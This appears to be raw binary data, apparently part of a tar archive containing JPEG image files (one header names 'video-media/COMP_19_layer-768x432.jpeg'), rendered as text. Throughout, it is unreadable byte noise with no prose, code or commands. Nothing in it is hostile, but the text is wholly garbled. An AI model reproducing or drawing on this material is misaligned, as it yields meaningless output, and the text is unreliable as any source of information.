$a.&8^"CNշprZ(ZN8 6fAx >n['1WgB:  R]AR#ƺg;"7K29ۜy^(7ϒtX=Ǜh>Fd4]\3$cvw cj6a2$:6|Ld0b6ԀƧetHV䴻l@Jqi GuC ѵcz1sŭq*bVv6 E m8xZťM;k-kz>w"N9[Px>A)vr:GwC٧5X$4UF k;7*8nw"bis;K mC& b$-=+qݕKToAV<О.,G<-0ed1Vf< Tꢩi٭- Yٳ,λw BTdq3$J%xlA Aʤ.. Dz֋lڡ1YZ7@PPZ,ǗeH(.:l簛*^[aUe|-qYQr&7e|[tO?(pк]8\x6'AG6 28~xS&&;ēЮǍG }OG%]W#Pkv@=A(30.O5YA̚F+R3cqZvKV^t;y=Դ#nY%-ʊxFa͕ Zۥmd=幤ɉ,\ULHdOd97_Ɇ L\ItwNQƞ&= zbpזo9T4digJ5(G;]SҲmGҰym~#+ae1f4l-+gFlZZ[l=&ѷ!z)CŀִJYcfsV`dh5 :]"0`.ntlcT]ǟ*zT:lꌍd,-!!3v4[cv#n$쳹h蔓}n˩e+ȵ÷#J|I& 6mHrq5hqj'tR77jFk"oב+a$t&kqo8 ~h1^9+=G.v\m /1q2nUE4g'}8 .C'Ua!Աq=IЗG ;'A$-²//7 %o-IN[hyqrB渕M>?c^'+zd '"ڨQ!! m8NB7kO'=R>@O"Uhpc0;!Γ\GV#s[k,`]9OV֏NI/N9NBt'BVqtuFDr9M,Q5d`sK+;Q-aufejĬ疊9(4 tҒhb1/]t흔M&0ߨK>(}A H=xHoS9k,f3F/F.W};4_Ny|8Y>yfKxqtϔh2R:G~O -kOU0uo\yGutxU)]h|sOlr\qǏK NI7/ гI#Sf`d1U(I(ݔGeu[etL9Y3e4VVF$7@;5&/yp'Ӥ{K{:1ĩ1Q>_qmcjf S.ǁJ(Shdl-)UJLAM,r6 5Tֶ2cejyvWճ"\j2K ˶v4NV6(T~x$bJ IMV½a N# 15TFF~f9\@#> C<ޣG?e*5%yHDǣt-GxɾV4͒ciqOΛBj8Aг2&٥- d,ݛ*跥f) >ko]s\HQËjt0Kӵɚ]vSQrdٱPphWFAWAgC3-[+LlNgk.RfZVm<~a`Z-<ˊec*Z;~nlMmLllm 4fցCUٕ.$ W15 u5*z.[PDn.*b@zT2L˶8yhfs#O[jB8 qh +"H`~;YYm==_'6'I+VIih-fW4y'Ҵ}OqDq#&NzFv'[agTB8ʀFaU)J]Zfs~i쫸ڣl&Xg{&Xp a?ϒTj#],~cuv~y^Ŭ""=,皖)ݴ[c|L獵|+XE3OzҳG+'l''',S9-p<?OF!jk` -Lș{hR"RsԾ'1 \.]ƃ&F<.7U驴׾b; dq/ 'hla.zm@dn<.2͕(9LꅮSBV0sIfƆ8E Y0ɇok+32\ALKFN5U/mQpU4RZ<"//ѵߔEzVq8vI3hekJ^s5+EOӛ$bmёVS3H8 r-␉@ .e8NGiì( P(J5-v$—+5JW8L9RǂzW h+OFyYt!* kz ̡u qyP:k5j+;4j$Q'Mx祟J Ol C&- ٙ<oiZ!R@(gdn=Rܒ$9 [;W`f{ͨK§X`3WN~U-cGW7/v;ەvezqŴCqOfN6#P{en+ZH s0hp7d1>+dheg;$Q?zl( 9;ݘۈ7՚Bq5MEk1Ys-%cz^+cb.|R`|W׀\˰u=gLd212?KUEIBvvytÔn3J3}=>du*L vwhT1 Hi!gkT!8%KQڮ\Nf{qrOtzc3 a^s3!SO5r-W) qh쟷 IGʝh9sVm@e1_&.!;^[aêebG+"hcCYܔ m'9ȅr#;K@xW&&8QAH@H3e#qc?,Y=|{'XtcUɚM4tQ]o>/첦5,VIw i˜Ga9yG{.jlxM[W#FntndswԱ>L?dӋㅱkLä:0,W8NY51"X!uLZs\.DǕs]r@Xztd Cui'ai 2A+DsLsufdNv}FrLJ߳\&.rA[vXB)4wZ4Fb kKjKPg͵ֵ)(!`Zce;]\#89 Dž(.'DT/cn=}Y<d4՞\r7Œ2{4ΜG, rR32ݷLN#v@+sR#f蕎{mpUZd==>dR\0?рAK$s`yZGY{fqӣ:H3yxUg|.Hy *HglD4+>Fd}CdjtRYmbׂL\f#7\J(ǒ呜kY-sDž^l |J2FS%u4.!mGGd-Uυ9?@?tqA{툽BDڤo=+5_Lsa9 r4}=ȉV,*oOjy&lWm?hV_n7jQ 8xC#\%'V~i霱_G|HazAq3`Yڏ>G.9\-ՙ\VfNMYj!:HErU84N5Mn쳶n`''`?\:Ȫ?j=L݅gH܁|+g+<ʴ;N0at|˸e8QDu-9P,.ӕcnGJslSM&lӭXL㣟iI-ͨ>"%XW%Fz(UMM );H®2@ ֔BaXJ^sZsa4mqכY w3~k7.'㳦.Q%уAjY-)NX^~CqAj3ԙVTBk#?S?+'.Wd䗸zI󤬻pXXGs 32|]õ[U'JÎ0Ƕ6^EiSkQs`isJl$ӴRHL^ ҽ6 lh+ 05=V7 fJw?w_5W! sn ɌEIb3dQ~WsB\ ~Tvַ^aÇ{٠XG2eȒ Zfʑ쑿GVcfFxqklgiYEW=xl;M.1[Yo3M@4\6l?Ә٢N@f@$c >Zi1NI\a7q.q*Վis;X/HEL[O}ժy@ ?3YӐ}6Y]I{@h?u]:LO|@aeO(w.-e㌀ TwژͫJO_ SYx1{$gn$b6Pou|&=<bL$ώ]^;N n8EWhhIc30Xx i8$b+$nhq*ٍ{dv@nW"`;҈ͳO+?'.LiY,1# ك8` tY؉obk_ 5B~(cvyzXz'Eocfk[JruZfOwR%^IUړ`hYquSk*ԹM:Աe;Cs֝{շםØ[+OU-q~ũqdC5/% @sEF^UYq$U]‘:QIU"\\ yĸr4Y6z&&]_Upur 13ݮLh]̏GVYf`-`UF֒]gGgbH{U_5n\O7pϓWtFRKyWkB@f @Y9 _e .SP )v7 36|B}C'H?jQZO&L/lq@fk0 Lq%B0r0I:>ߺ׊mǏ}#lam[RJ ƃϑls>4GT|m,erGzFZ>d2E#GW^,{ɞk\Q;3#?L5i+C+K'}99akux]I1qX&䜅> ],ϨsfSJ6+\eI .5~3HrGZޜOhZNI29qFmk,)u<\+N|˜Թ*3ydFa\`N2Z)]'+43Pi30cY7, oR67{GOfVl/at؁u K M&rr鑜&Ȃp-|R.+ tNh ccɚlqL 8MΚo1m`yUùͅ^lU):+)Xql{lݤ&<]K*,I٥%{7uY]!2ieaTm9H9_Umcsŗ%chzzd$vq?.G tj<p\^GNʄH$X[Fכo7ǎLS;=`wF?Ly!rh¬qPeps3FY7oGHYӱ@r=&.^\2K~V֋>CDHR9ܴc1 843Ft4- 30d@gꆽN6e1^e)ޘ䫣pz#TǍ,hqrm><ֽF5vxZ}LgEbc4ֺ*8q6hRAT,kF=U%nDvZ=k+)BNݞYUs`xse+j0G- gsz͍FoG7wB~@xɇ{{>e442>30#$":\w}‹6|ׂ˓8r<1^d5,O#.?e7V 8gx/UyY*.-C l kx _+[9"o?Q4eC'MIK& ;\\OiZ5MV]"6,Cw:ƣ7wK77 fa@8k\pqE%cg_Vh&a, jfH7?rqsH> ?U}IVVkM:`}2pC}phq#sa5;t-e[U֟&AB1ŏ}FL&S䐪bO&ք,$iKpBi@4HJCE&[cυ 0EPq+sLr v~MDFr{6tj M!94HA q$h2WLbXe(u+FuYCRXu'aVm /u'n}kNmĦhA>B^t;c]qJE/lgm<6حqGA_' WNʈ?qxN:cZX?W048ӝӸ9Y9cqú>A4A\ޞզty1r_ueh?Sx]qr:'[_dl0}JY],/!”A- s4K|S:gA*gF}#ћd<-?JJq<rjʖMpր(t9zn8ɆߐF[rz &9h9¹]鸰rI'X*gd2M?ݑs$~<>^-K/P!|.]RuE*#636 IڦG*v5cx~_Vl $3A% x?S^G`[y~ZÖ8icSr2 p{~TFNO*!ԧ6<|-ntOOQřn~gAkg7Teu{nxx"<{VU$ji=Bw"uL qF;lNowW%c{C@ͼ8uuʱcťcM|8wpufКBDt:ǎ6Ki  >|SGy"oMIFؙ&C(j4OGC}W ? t'%43 u␴Fy-$x+/^|zyiGTd36Gh_O/Jy\ocxESjVk?6?Sc!dd#*K)Zϫ ߟ}W) Q$_'Cgc1/anચ&E9Q_Hv*VܧHȤKK|]lOTrc7<07v>-S`|ypI$v_Y´ll?p亃UZw  v.&LD@ߤ7?0dsU[%H3Gj Fȅ}ZŐ$o-|\/^8kIȎ=*z%c-8<gڅJ1mv6qʭs{8@1v R'xKC/+1Y p҈o[$fLdℽ1zj#;_eWh(I :D5Q"LM$&i+JFhE 28I}P})aq@z6]^kWU|b~5\ttQauA6hs H>kXDH?RJ9ŎH5Ԭ[1fzԍQͫ|})=P A.l - 4 2nsSM5=ZY|X6ޗf<~I5i3~\(ek? ]l'2h[B Hr'GS.qxV'fsysBm7kWɝ839Q<;[I>@^|nK uҰ8W4>MRg df9h絁K\ƽڽqflTsh|hE4-c2ɉvT1t8CX;%z^eE.JoMcÝ$v7,c9'GJef+[H]{> p&=ph1;?}Q6Nȃq~א.4}7R[9E2MolyR:mquZcFG%ˇ=MV˷8mZ4W1U|E3Lؗ `OwʊLGR~G97|HU׎y=wrӕ!\9 M6q,ƍGS5V/P| w P; )[蘢QW#kiWxʴ.y"7͓ UDs.ՕڋEʫF{U!q#[%[p]՜a(r<~Ka\c Uu!rjrqDr #q;K$]UlM*/2$C =-?Y|TW}6꽦tC8HǕsrlȓP\索ˇQ*`K 6 c|vH[}vwN3`kؽ7ܬP|pCL~F&HKB}eqxoͤ)!oT+d k+c$M {=+*qmmfХX)T0lj;(V<.G֚tFXw4Xڞ7 ~)B8L2)x]t97mE!n?*E(Agr4j8C1Wxr}.$,VLgQFxpѽC[݌;Y)lpOΠO1GgVYphO@| oW}bˊ/`e 1=-:?SD1h %y#.<.?T1An|,0t7;w*,ݨKsHZ47}vKeBł\.S^~ͫ J@LabL'~@pFcy7 lÖ$|Lppm.ž֡~{] "hZ3deR4/fۯ>!fC]wZ)i((W|gNDq-c_R‡cc#5\|Dg.`1Eԉq54[*7aqU OH\ 5ʙ+Ft[LOm s[G&eܱRwRU4]J96 ;]i* 'goq!rǃks rRFލ ̗)P o[ǃs>@t %ll-;/B51gA*q GmwVKeהCuTi -O Ϝs^Uā⏕ u+G\mP1iK=~Kiq:@K]zlz~IrKATJM!Gh*'[pf~fyUG+pi.}NN^;tq[GI`&21hKzCd~4ˀ^̀Ǒ+D1NG򲔝pj$Ԇow HI MA֛w*HpbK4HJF:paԆIΰc"eLQRWp#-rBiZaJH3R z 6ur û\>I)iTs VI iRtB-LƖB.!'!ċˆT#EʔhȌz(=oG (ZJfI.Xk6-kh(ti.&3eYahv;頥PC$=M..'O#?Qk0 :]S۴̂9E]1`iږ+ᘤs[PGWWjM|l!-*X3N׍Z\pVRfuBfNcSfyZ^aHmMGL-1N ҦGD~Jzfpbnvppri+T'VhW<::14`oyuLdD0mG%J >W:m8GzCMizp=>^#bꗥ{ZRS5P9Bբ I֣H k"B/eo w63to v򰝟Dt/3BbN~qh鄓8Ht3-s]J9g+wE|yq6iӂfeey(&-&$0 QpuZ8EdZU9eNWhlohLouh`Gqߕ;Onw*Z<:|x7qk)5'i*<HvD|4rrU+LS$! $ͰªtN)& w(䋵#;DzY˫EF2Lm*YaNҪjv 6h-69'FQE0yB_ˆʨ, $aF7Z708QZPD^B7r@M$iI\4/kK5;IG8Y'oFꃁUjd#E1LVZ'},:Y2I3hIy 䲊g!$QC,Ǖ;"l Oj#!B4EmRΏXdX5c>.[1.܇VCxXO͒d=ڮoJVl-/eRe${^˔v J3_[5qb=7wÜ_MWY%.axO>ܬPܐee{Fyo=\1$; kLndtΛMh4'ZF?qa#mUE< o€C. Ui^ cD崂`h* I ͗z0Lpڟk[ǣ9"AdAmաtb2G'IxXF㴓aP}6Fֽ>Ljpz~ɮڱbPFqsYT뢺m$6^`Ύg?>m]6rC= +Gy)Io B@)7`t zL:R7,"`$xD­`,٢fJo QQxPGa :-5m*I-!u3۹V,U$C,;}Td6€:}ɍTe< hBbd!ZK}]Wd`K ɠMXH܁.YQGNQb !a>͐EH) 7ȣ9LQ^m$Y1};Q06,6J&rD'F4r!wk•S >HQ$YPX XyjчTlܶ224صwE!.sa8Q涃r}S9xUÉlbH٩]ǐ8rG$+8pV`۳H=G<*q<ږ 9 O 2\7fO~?8( Fͧ$c]v'UvT:S(SkGiޢtND(KfjmU'2yi\qza=ɺ mZXZ\H!Dt&KF JM)orqY3m*q#"Ii-Tl᧻V5Ş虮a MkZǿk̚0ZkΒi=6$rhVG ȣBe8<3qݩD)bCEQjO*ρtJ>K-9g ܩ_ =+b+H%D_JۛbgvIUdJ ' ?q4eϰAPSTnj/{RD>I&=^xB|"IR3`ڒJ6UiJPI$qI)` rI&ca$e"VRI%~ U$uJIjH $,j tHM`vHD^HnIZA1J<1LHd{I D B<@Z|$8> 6? $PM6UfѿI&ѥj)EREra;yI%6RiUy\D2 !Pl%$ș]yQg3zpIGpAI$n>#$ G== $4D4*P=äXDNi6SILE.lGiT8|M80L5.IsIQlcj-jcftPHwڰ8I$pTI!v) @iFWuH䋥I)$Ԓ@video-media/COMP_19_layer-768x432.jpeg000060400000135536151724237330013024 0ustar00JFIFICC_PROFILE0mntrRGB XYZ acsp- desc$rXYZgXYZ(bXYZ<wtptPrTRCd(gTRCd(bTRCd(cprtEA#|V[rBW&Яm mu0 NݦVMREGdPV(p qSR#75΅f M;Kr2:ˢZ&AsNG(P!MLfomacqV6Ybڏ:ICzSKsU%BDEGIjSeZc`W46H%Hť"M6r3t`#Xת6-"c;>KEP[5zge9C>)¼Vž>!qZ#nH5emn* \li$:X6VK!o$5*[]Nt90x#ĒM>v>:3"vY'?txwON(Gx3O"*k#g&تe&{``e:QcMU>§%̲Jώ96Fe0ug!ސtܯz RKgEt)5\=KM*܃>X95qbʸtۋv$h$֪ ˪Mc 1QQƂ'M8&}Pͪ\޻Ks£cnLe)Tt iy+L{/ZXQ{=ė49by$<{XA J)8J?Gt":r4q8151\ _l~q,2H9^䤛H\ VXk)jn4U\`Ag;I&2 'b{qNlj ^2ikkfwc=M]ӿ-cCqq/42(cm3a]B %#KcO.=#󬗅XPiyl\?ɭ)kWRr{0j'| ݤ'i:]~ pG8T1267c\ưɒ2:s[ط5-?5&I du(M+OIbCY&47!z⴩ogPUZ\ysY8 6AϽMC~+!@Awjs! H9硥w$hތuioh5?03OjV9yI5eܛ;-Q2}iR(USCOSA@1L4/CGn(+T_bbm5)sm+Z(مt2 S& يZdGˣbmbRV@HE+QD LTqX\D\"F#(j%hbE+QXQOV02*;hDHl v ڙ &+V02]Tց+lBǠh܀zV}c3^G-=.$RIpdTrpGg,\} gZX$ `x ҥ=I6#\W)+KQJ`-Ƨgѭ~8T76FmI y%9}ꨨHEY)${FjXFVdm͐8sQgF8E֟(5/6zK+ڽ%3xd<]m(Gɒ27(48Rܑp}ʤ{qTxm S\CLfA#|XIXO\q\U4T<2 sծVFFN TVI cgZVߡ{4xFn/t1=5- &Ʊg3b PfsCKw(zr.|P5"[BEm9#5K%ȌyDYϰL\v6Q}M.#HEzi}C]$IcA{*摁Vj@ާtcB'b})j܋)Hi=ベjO)>Þ(:m: =#M>F$ٷ2OO8@흢Yŵ=LNXދ.R2zt1O6 ܄q^)B[TPסW˻XyNKR?7R9ʑ='M! #U浚vdI!'oaV:>n-{POXE.%]gQRD6s_m5y '[Dizq#WjC0f34{P_Gs}l5-aqVaqҾj4|nyMB"HbOV1SrLAzҸ?d OdX3:upmEK7z+K֩ng`_))m}zDwT(N:DXiR0Q\)+C>5.Abڃr#AԆʼnj;$@2޲zƟ-1H@~ wRa8p8" *ZzԌ#ڽ'^ЅD<淖_]IȒIEjl|;jDTy,ܑK~B˩N.?A=aۈm-0HΖ=I!;KF9f7 Kg\V2IIFAF?B3ɐX{VB݈P]}i㈜ W2Dig3z?r6AckdG8n)nxJƬg{ΥEsnH7 "+漇HJF8X jt,Rpj1Si*CTZ;ZZlGm¹f8t] j2dj(Ozb*bN9t*P"Ed\5H05"DRRGZd.ɚ'jx"L SsBhR6N*sL S+  @;Qh*%hTJѱh G@Z.: _ m|kYqrZΈagүڨ޼#x#D,߮Uy5e%{UeMTa^&y 8[a5Al~hczъ-"欭O"5ڞPk\RqXkzƉ)_cX" Gї ~hFFG!1H^o͵1KLE=ϡZ\FDB2#֝q*$PGp?o `:Qc 'ɑt=>cɖWPhp @Ҡ yPQQ@Sރ٣/I 6E:}Af>OLU|ʹr4"9lQaccR.# q-hTE7erzmI$?Gk,m_Or`JF,e+.~iykreA?ieՋDDl+Vud~iMFTnI(v=TXIBڵZVf<I{+ırpk67[w:;J(Zy0[u JFmކ#^ pGji T%* SR~F1]/\Zɭ6fxvqldOtC##,EelΑ7h"f@z$`A2FPI?\dȨ5-ԡxh-BH(@q+-*&% 4x42)֌ Ŋdq )\PDFmbTTb W⣊6akb2CtVM;:{^/*My~F9F\{hK {5 hk/.owR.zwH2N\X5Eh'vS3YME7ckKs.bqM-j<%dsZx|dZ~+S:/⹊&+jb+Izخɠ;oYx\ ֫bL<|=+b崏[j**9)qBQ'=ƗGT\XfT uV1qM: 9u4FݟE.Ohw[CK)h4]փ/sV @64h"  ǽsȨ9*5 !¥>xG>H:myMKa]j (y<%iq$?(׭ȇzV%%XU籺3AԼM B8k !Gx`-8`dͽ^z$j{n"==A[,n]cbqM VH 8߆|u@dCd[ڕRl~;MP\[ $rnOOZgtH~M˱ % 0ķ]sE=[C0~E7;A5ѲE <dmA$UW$c+ՆJHce2i[,JYZhЏzu2K_ѥ'+t5V:ĤY{_C/]#/g4Ys*'W8BU g⟵Id(fUt+Y-$9V4ȓ%kFG>u0=HE\mr"*Nk뻅(qRbkV7C֙EӌQLVkSh҇ AxL 04&SޠG@E ^"j8Gm0 s?:Z &.~j9tx 1ǂ@8>&iH9Y08l1G⌅ixvZگo~*P\Epab+|V0-(++$N1pH\`Wc!R8"lE(9IddW5yT%rg pN3R1XH_<r9R"窜fwv:H67`ÁYFrM$ 3E[Q(V[HO7!k!iKEkEm`qQgބLX[6^!hЌVKsá%}[Di6]ŏjB79}hAZ9e PxG wLvta}{dY^8TRиz\{yȏW֐"UnxPJw|,VW3V_Rz"6¯8V417sU@9Q\0W :20QTqQm3]Cl\8?5{,bVWpTZ/dB(NU RdHAf~W0TAyaOJ!Rآod*%N9Q0IzL/G^>⏷"%5ScWS؊DY6}#jNW=iTNMjF`[`Xu=sRTV45,COz l48Yl;)LN 1d8UPDBgIqj:tQ5M1isR@{kD#; 6\fB;㎵2ja/ U8hh#Uoz8JWPAx1n+IeY=,8'ԇmDm VOj~3 q@7TEVf B]J*SD 3Y*/hhR8擟H~5XZ?ǠF)UE8#рԂ(R+vԥL%D8Ch$If1MR2mlAHS3* Kcr'Š#=wEE&MZqKjn̐J3KВ=2YIXe]/q^#q zXU)-dlV<ɓz"8x+%x@2 o8?vG*g4X⣊s O $ LsQFţsQXXu:p4@бZ9T6-+Z8W4l*SLu"`+V[TZǺQJ%:Hnֱ8iXk|I9yZՉk)5-@Bǟ %lo"- hLR~jDk85k& *`rMfEØ!gaT#< =W<[fN<5eؔ9<> ip:WKgacfү,87D=+Qo `\QJŖ͵͸"(kh{k`޾ۊPMk clp2TqK p[Q`jp:G& .MxY87z榭F᱃VQFBU[)" =(ZE€Oz>ꃸ2~mu[q',`流vNKD3My@r*ph.ITס'N(ebL$*P~ ;l nxS 9tN7Nih(W?zmYEɉK~B%]K:jEY{ ܈uǹԑ]O5xHWQ\d>;⩼EܘH$dM-EMa3/O-ʳ|=hBM݇"k,tqV Ք:>E,m+zhmR9Pƭ(.U<=CQ-UsJVEzcvDiPc8\J +!=R昍xQZ:'>V3zQt}lżoo_LdaJi%,de ?QQOٮenelgpʏrQ\d~BC5{SsP 2E-jVkYS@]>=F?1è?e"nF./CEFk\[^ȇavNr?JrKt"੥11NyP:7TPHJmrj:?,kc]X" .$I?geay Ғ: 5^u_y{NQ ջenuh{*kL8dc@:@hoP/-Ha׸7*"څ^1Jh1dυa3Y\f\)uRvyRIJHFô`[iq\:8(Uw-ѭ({Q{4#׼a'F4D Scԗ,1ST"$ F{+ⅵJ#\ɡT ?`h xM/yU9aDACUŗ'54 #9SAMD=(y% T5W 3S hQcMu4YkWhZI@ 9 ]qnO&♲ӈ2ޡx5Mbh:f8rj27ѭR݌E*ieD "N=RbU=D,m|- դ q.)-'^j,uh (8<`420i:0Foj($x`EW[MV:r["3S5Ҹ,VLS*̓SdҹE[4# #Qԉ8f45\b$WX4L`hoC1ZOGhg>Tj7q]B;'}( P6-4W" dPL,TTsK=iF4k>L }pVN2Zj@r^)@ME;'/gi>6}$|ַNTS %_5a86.0j-N-W9r9V^"myu ?!*7;G_iM.mjV/l^jXݲQ]0[oXqI-,@%Y;WF8du ܓZ=)p4 8z6wDLl kh2ݴ%)QLm捂mf8mRʹlesimm`%qQF\F@v#\MMPg JͪnBq]*u*43ɟ@3! s\ qވUX4 KC+g;`@tH.3RA#TkY,` >NV}<TRHPzJQs$Z;xDk"y񊹻EUROJtf2w=ԖeKyGn.9'ڬH)&981%GF^5AAx dp*O[跦vW>U6а{⬼; Z[(ACwk}ѲP. Жs5m 'jVVs~V5-t5ɜĘQxXf2sc;k&ѕtzcGQ-c5kmF貿h|9Ќxrs% _} 'y.W?1澍r6 R2gj7#6c?޳چu}#Z[;/p$~#RuҎ;bIBsm,:G eR'2\DCV8 dE;-7p?i9ځZ QF wˣ`mW6G)B'g-ҷ$n,ʽ3Ңv EJ|Mynzz> pP_= J-ID'Gv|Wnx'޸k_Er4ۻQjYI%-}J7sE'\O/$!NAmփ]HYGq֥gCn08Hv|1~wU°@X*bSOSڢ`\p4* B #lUm,D+QY{1=|U$Zn!fgƤ 2k_fuڐ隳O-䍇)=ktw\qЊTW*8]X#-#aI0aDGNH]kءr(&(hiFG߸+ŕ) LSH('R`*meR:E*p6n1o튅_c>C`2JiHܫckRA?5=k(lWos\1}v渭 z:c"nia]zUݔrad/}s@cCR@v\G${SLտEg!Q=i' UO:Y-ku1]\wRn#%߹ jN<еbh.O>b杏Pq Nfu{y!)wwDyuG 0EI6MbVں]"ǨnR9 GvGZCčң]a#VRqC~JӞZk=9V$[ԑBǃ!bRVY/rYGE014 c'<# Rf@2`j6N43 8$ȢFv/vx7vr){Gѣg$$l)p{}$Eu@ECu41ŕ}~T{Ѵjc?A\ WwT;GZ@yyum209 +)IJJE>Ir1YҼM GzH^h*A"תkQGb/eH5[(1+d>eÕ槟j6[b:6P{3+ZF T-Ho~ѕ;A^C(&EѐB WO4#i[.4Hd^+Mn@DFܐxhX69*y#"sx \RZWA jJ}X.S LjjzOtuR=2Z"WRDT~90rNe%-QqvVuĥsVp8$Iߠ^RN?ZCW+2ܲ$ZTr"jepԭG#K} (ictn ?Do0)L15he}[~#!@5xG4s^V |kܔYIT6)l}]ޔ$v?~U5 xn-Np2oQ:VF;wm }mljbMZ ms]J "΄~(K= #w^AbBo"IT8 ~*Wd!bf>?ZŨH/UI=\*s]b[=@STg,.ŽV=Nj)U;ϣK16>`N\ݩGj%FChg *t#7:+wGQaB]Y;S.3DeIc 1Hd{WU}f+@;k4g|9=n4𓂘 >cf,t٦Y8Iߩ{FS̹8PzSX W%jTb*ē>.yt(F$;quz*Ndb=JS粊:))8Ѕm*Ie4:ao%'Dt 9*g}Kl8RFF{:{Њe4E <ѾhLuM J(FTN?}>fFI0ڀ|Z2TLbbÊ6 IԿ#:|TK,'$:DU{qq+AO1+ܔLk#t*M6A%2p5gCJ#QB|T#T?Sr;9?8/9hYxB"i[ca3A8$F eivFh46;>e2Rǐk%͆3 3Q̇ikc^Q╛_ZU+wHΝqc+Գ+{ѕTk @ q֔d$>bAj%+& *y9eR69l}ԖCYr95vI Nͫ\0;Wr+X--'T<ս³eF16IN2Tn0RDLEFq<*wHnPX,+kWčUE$r/cVZo4+j/wF皘H R Rjt/9#|ff*VBe|QރkP0dڞTL`U%Z]BѮeh ?+Z[{BAr$Lk "ݠ[JMtCEE@,x0A)%m5Vdya%MT^ 5ZT,n,Xx0p䚧mdTU.M{ыBQ)lFij3PWA4#hiW3Q4rdm4̑!hP6$[[qkn 6RՄſ!+xn$Ӣxvly\Yº/4d942l]V;qZ!DFY>j3BS&X&#`[^!a[eK(CB 批 1\c-qYDBrbf~PR;/+c27 *8*xq+o#E/tciae^7)GjO1݂?B(ΠpCD3W̭O\0gփ~gk6{*  dS}K'/dɌb" s wI*FG$D|❵YԌu&dp@ =Bs{zJşEyܴ=gIqBⲺhm5#sdΌXӎEoI` Br y?|K$:2~U6Zev""qj$чQB(׊kL -l*,84+oĠS VvUǵE.N(Q~sަ5D&+@%ګ՚gk0NzM~1B6Si* ɻybVSg?|'orw1Ϋ'$dtt*keѴ'5Ucob:W] ʸRYOn@U6G}CjR+9;)i0w|g&^(#[ HƤAVM w{pHX>3Yݱf`KH6Ny]vrx'*RtXxQ-$"ԚnN\fֺ_DJS|z?ʝyXG' ԅv%UT3)4=ssArv/A^SK,a$c;MJǯei[x2D lPx"+#Z4SQ_#$n+>%ŕ_$z>H'}7S= ֍XR lNx15.{e0= }wS& x'bnpVy22jؔfٌdtwG8aċ{St9ֺa'՜CvY( pOJT+,gd_e͹`@"m8?c[vJ?.T;iKz܂0k nYڊ6IO5)K(CވO&Oܟn '⳾! K ~$2;qU׫]B ױzEvEè[C-]Nz;hMf3"T֡$l NQ q5ί q}mMsLOT2}ǽXGr<ʟRhɗ1ȹGV&TM[зW"N<Ks_nMKJri=7Fce.hkhh9%Z3'PbQW 5Qhr!G=ivӂ9 ('k>[td1,[+$Ocd$ 0u@>Ƙy.l.(!Lc֦ǶQ]"1xh;nG()ys5;yOYZ\[f]d[ߡdan=RHb |jn7&,ZޚRTިH?晃Yԃ#9CvxXo]"i&| I+:*Bg}/KnS-#,J6_Y?>S\[8KhL39􁟎^OsE:aՐ`1ri^.W'H60N]˴or9d-fy#C E!>zSU'TVb8=f>pܛ81%sRZ:5.Ǡ`fLIbyg3у}䮍Uv}X[yڠ0M^Q*Whz7S j|xj|p14O|5/ס}pJipϸ}wn*p=:&c/|"WRدEDѠU2A`m<_X1>◒J\LѢU\e">^NgLI"+@# ֻ 1K,$AljQ(S9<(e6Fç4MW"# V nJ^XqV"nNa]'(nµq_Ic#o79U :@q23X_-эpEZH ҒX0kd{[7-z-)֊SZMX"8$Uy:sa!,1-Eao}x:1?:hIZ=G6F;WjEuBs׏kZCrF)X9mЂ\WbK0'e+Ֆ8>o+ sC O"aKwftXoH| Մ#m?0)LRetl] Dl0一NуfO $| Dch5Y% XPIbXc[A&rB w');wf+یz^HWYK1v\#`1#$h}Ha&M Vڷ.,д VN;47XlmLn)m rmKs),83Ϸ*mV&qp]bb0錞68rE?h]%0ˆeyӴeA6y?|w44tM#˿iRp:ثbKA[#J?= L[X_M#&%/;UO7? hfky},x{ץxwEa Ǚ#xu,"Fz.bReܛt£:&d[4Rg*XP՜՛UrMoKʦfF\#I޴6!j1 sv[xf<c[/b0?FY#3"f&ˍvެݪh[O ¨8jGd"B>)*,G5gg mS+ƻ*B¦5$4ֳںG.w0)}^e l2 yBʏbα 8MGq(_MȪ|^Kie;TmP1,V1(F @c^RJgkBFÆlN;S"ݧS \(`RI.ku Rbo0(4_FrjRzu76NAW:V77%Ѕ#m,}RttۧTWL"Kf)jhQE&*8;Om,[iub?i-@s Nӏ-܂[QPݺM3+mumO^]ޥKVgVL)iAn\j+sn-ڼ^s( >x9Uojϑ$2JxUz<3*"kF01Mu6ޥ5K{4[W*/yKSN;c+F @P_Uȥ8 {OG lSc=)!6w.kH05vP?0 F:d-d+ZSS)bc1Jm~P GJj ;쎛4Fb4I h#lu]\,1$Vj :Sڴ*33"QݴS_LH7>qT2hERPfowLm<i矽hgԣlVLrl zy 7 ;נZ+kd_H\X@n4i%u;ZBXtԱIyfU\nNK"Ĝ{ VIπq?Η3ce<WBJz&h+9c 7pM\TW?UMbotkLe[=ivйkfN=9ڊ >F2HTgՃ¼ݒ yıdADW]ºJx;MƐF`XYv;GU1Mn|#&FhZݠWGcf/1 HcWZ5ϽU2PYy|*\=ZoQ &F㌊8"Xm`sS6>%F^o\iF֌szhڪj lm֜\&V8O蚄#Q+R|'h.׍<'I-ݗ+Tj_THĘ<Js_ҘbzRhT*m*URW:ɥ\)gڮ{#.TѫBp8x3R.$WfEiVј{Hҗrlͷj c -N+ 划EnrLz쭛:<,}&|)X:L1énU U7~"9zGiTcpd G~93Gg+W{r{Wc+ՔֺmԹpqM9aoh^'5ҍmp^b6Tof2Jxm܆QFOtKu<ӼZc.ph#i:DJHԨGHcΚqnNFY#ƑMR:j2Gkԯm{)I'k̵+);k} :j5qegMz)v*A&ȱAԚNm)-KH #ޭyWŒsL|vDsCFmR|X β,b7{~T7z*#e}:jP\ vUJSWx.d5ߚ6c^È'Jin7*ilN&T!*G' aTz]D-i|methtp߭u5<׋#ډ炼utGB@c)1H9\tⷲfvB0K e|Ю5 8\tVk /bS+Յy)9RxnZgrH+;rE \Qlq]ռ\n<^ǜ)ar,֛F)bb8}Ib_sEivY$z(OWG^ ;]6]0ޅ"KoRد\ԓ=4X}dՌH`iȪ& X8*9's|S^ ^GIl92OKf8S' NX}ai5SNݽWc>> sT%5[ZI1y`S&^,TK)b<eyO4,-D8ުG qV#l`cec $gcG{1  ͞:ھǺ9-D]Th2(W3MxOH_4:I_>V5`|:&ilr/Tn[1X^]D6tϽ( P$JK*9\uasUiws.ǙA*qVI' zk1jJDj0"xE}$`S5 U[CWM]obPd %+**)Z+Z+]U8&,O&: Hlx2ZAMxS[|rx?cZ} ],ONQM SOK; .bj\z5!L;dTF1%="Q"oPy<+(mJ8|^@_'F~wE#$/aP-d.I~vUG)@|uUXw.˴m>k¯ܫ] 